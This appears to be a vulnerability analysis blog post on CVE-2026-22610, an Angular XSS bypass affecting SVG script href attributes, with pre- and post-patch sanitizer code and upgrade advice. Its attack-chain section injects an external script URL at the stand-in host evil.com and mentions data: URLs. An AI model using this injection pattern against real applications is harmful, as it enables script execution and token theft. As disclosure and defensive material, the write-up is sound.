CVE-2026-22610

The SVG Blindspot: How Angular Missed the Script in the Vector

Alon Barad
Alon Barad
Software Engineer

Jan 11, 2026·5 min read

Executive Summary (TL;DR)

Angular forgot that SVG tags can run scripts via 'href' just like HTML tags do via 'src'. By treating these as standard URLs instead of strict Resource URLs, the framework allowed attackers to bind malicious external scripts to SVG elements, bypassing the built-in XSS protections.

A critical sanitization bypass in Angular's handling of SVG script attributes allows for Cross-Site Scripting (XSS). Angular's security schema failed to treat SVG 'href' and 'xlink:href' attributes on script tags as Resource URLs, allowing attackers to inject malicious external scripts.

The Fortress with a Back Door

Angular has always been the 'nanny' of frontend frameworks. It holds your hand, wipes your nose, and most importantly, aggressively sanitizes your inputs. You don't usually worry about XSS in Angular because the compiler shouts at you if you try to do something stupid. It separates the world into 'Safe HTML', 'Safe Styles', and 'Safe URLs'.

But here's the thing about security architectures: they are only as good as their definitions. Angular relies on a SECURITY_SCHEMA—a massive internal map that dictates which HTML tags and attributes are allowed to do what. It knows that <script src="..."> is dangerous. It knows that <object data="..."> is dangerous. These are classified as Resource URLs, meaning they require explicit trust. You can't just bind a string to them; you have to bypass security explicitly.

Enter SVG. Scalable Vector Graphics are the weird cousins of HTML. They look like images, but they behave like documents. And crucially, they have their own way of loading scripts. While HTML uses src, SVG uses href (or the legacy xlink:href). CVE-2026-22610 is the story of how Angular's security schema forgot that 'href' on a script tag is just a loaded gun held sideways.

The Logic Flaw: Identify Friend or Foe

The vulnerability lies deep within packages/core/src/sanitization/sanitization.ts. Angular has two primary URL sanitizers: ɵɵsanitizeUrl and ɵɵsanitizeResourceUrl.

ɵɵsanitizeUrl is the lenient one. It blocks javascript: schemes but allows pretty much anything else, including http:// and https://. This is great for <a> tags or <img> sources where you want to link to external content. ɵɵsanitizeResourceUrl, on the other hand, is the bouncer. It blocks everything unless the developer has signed a waiver saying, "I trust this specific value with my life" (via bypassSecurityTrustResourceUrl).

When the Angular compiler encounters a binding like <svg><script [attr.href]="someVar"></script></svg>, it asks the schema: "What sanitizer do I use for script + href?" Prior to this patch, the schema shrugged and said, "Eh, it's just an href. Use the lenient URL sanitizer."

This was the fatal mistake. Because the lenient sanitizer allows https://attacker.com/evil.js, the browser happily loads the external script into the SVG context, executing it immediately. The framework thought it was sanitizing a harmless link, but it was actually greenlighting code execution.

The Smoking Gun (Code Analysis)

Let's look at the code responsible for this mess. In the pre-patch version of getUrlSanitizer, the logic was hardcoded to look for specific tag/attribute combinations. It knew src was dangerous for scripts, but href was only considered dangerous for base and link tags.

Vulnerable Code (Pre-Patch):

// The logic that missed the mark
if (
  (prop === 'src' && (tag === 'embed' || tag === 'frame' || tag === 'iframe' || tag === 'media' || tag === 'script')) ||
  (prop === 'href' && (tag === 'base' || tag === 'link')) // <--- Missing 'script' here!
) {
  return ɵɵsanitizeResourceUrl;
}
return ɵɵsanitizeUrl;

The fix is elegantly simple, yet highlights how brittle allow-listing can be. The developers switched to using Set lookups for O(1) performance and, crucially, added script to the HREF_RESOURCE_TAGS set.

Fixed Code (Post-Patch):

const SRC_RESOURCE_TAGS = new Set(['embed', 'frame', 'iframe', 'media', 'script']);
const HREF_RESOURCE_TAGS = new Set(['base', 'link', 'script']); // <--- Fixed!
 
export function getUrlSanitizer(tag: string, prop: string) { // ...
  const isResource =
    (prop === 'src' && SRC_RESOURCE_TAGS.has(tag)) ||
    (prop === 'href' && HREF_RESOURCE_TAGS.has(tag)) ||
    (prop === 'xlink:href' && tag === 'script'); // Explicitly handling xlink:href
 
  return isResource ? ɵɵsanitizeResourceUrl : ɵɵsanitizeUrl;
}

Notice the explicit addition of xlink:href as well. This covers the legacy SVG 1.1 syntax, ensuring that attackers can't bypass the fix by using older attribute names.

Exploiting the Vector

So, how do we break this? We need an application that renders SVGs and allows user input to control attributes. This isn't uncommon in data visualization dashboards or custom icon components.

The Attack Chain:

  1. Identify: Find a template where an SVG attribute is bound to a variable. e.g., <svg><script [attr.href]="userUrl"></script></svg>.
  2. Craft Payload: The lenient sanitizer blocks javascript:alert(1), so we can't do inline execution easily. However, we can load external resources.
  3. Deploy: Host a file at https://evil.com/payload.js containing alert(document.domain).
  4. Inject: Input https://evil.com/payload.js into the vulnerable field.

Because Angular uses ɵɵsanitizeUrl, it sees https://... and says "Looks valid!" The browser then renders <script href="https://evil.com/payload.js">. Since it's inside an SVG, the browser treats it as an executable script reference.

[!NOTE] In some browsers, using data:text/javascript,... might also work if the Content Security Policy (CSP) is weak, but the external file load is the most reliable vector here.

Impact & Remediation

The impact here is classic Stored or Reflected XSS. If you can control the script source, you own the app. You can steal JWTs from localStorage, perform actions on behalf of the user, or redirect them to a phishing page. Because Angular apps are typically Single Page Applications (SPAs) rich in state, the fallout is usually total account compromise.

How to Fix It: Upgrade. That's it. The Angular team has backported this fix to all supported major versions.

  • v21: Upgrade to 21.1.0-rc.0 or 21.0.7
  • v20: Upgrade to 20.3.16
  • v19: Upgrade to 19.2.18

If you are stuck on an ancient version (and let's be honest, some of you are still running Angular 9), you have two choices: stop binding to SVG script attributes entirely, or write a custom Pipe that manually validates these URLs against a strict allowlist before passing them to the template.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.5/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.04%
Top 86% most exploited

Affected Systems

Angular Framework (Core & Compiler)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Angular
Google
< 19.2.1819.2.18
Angular
Google
>= 20.0.0-next.0, < 20.3.1620.3.16
Angular
Google
>= 21.0.0-next.0, < 21.0.721.0.7
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (AV:N)
CVSS Score8.5 (High)
ImpactCross-Site Scripting (XSS)
Exploit StatusPoC Available
Sanitizer BypassedɵɵsanitizeUrl
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Fix committed by Angular team
2026-01-06
GHSA-jrmj-c5cx-3cw6 Published
2026-01-09
CVE-2026-22610 Assigned
2026-01-10

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.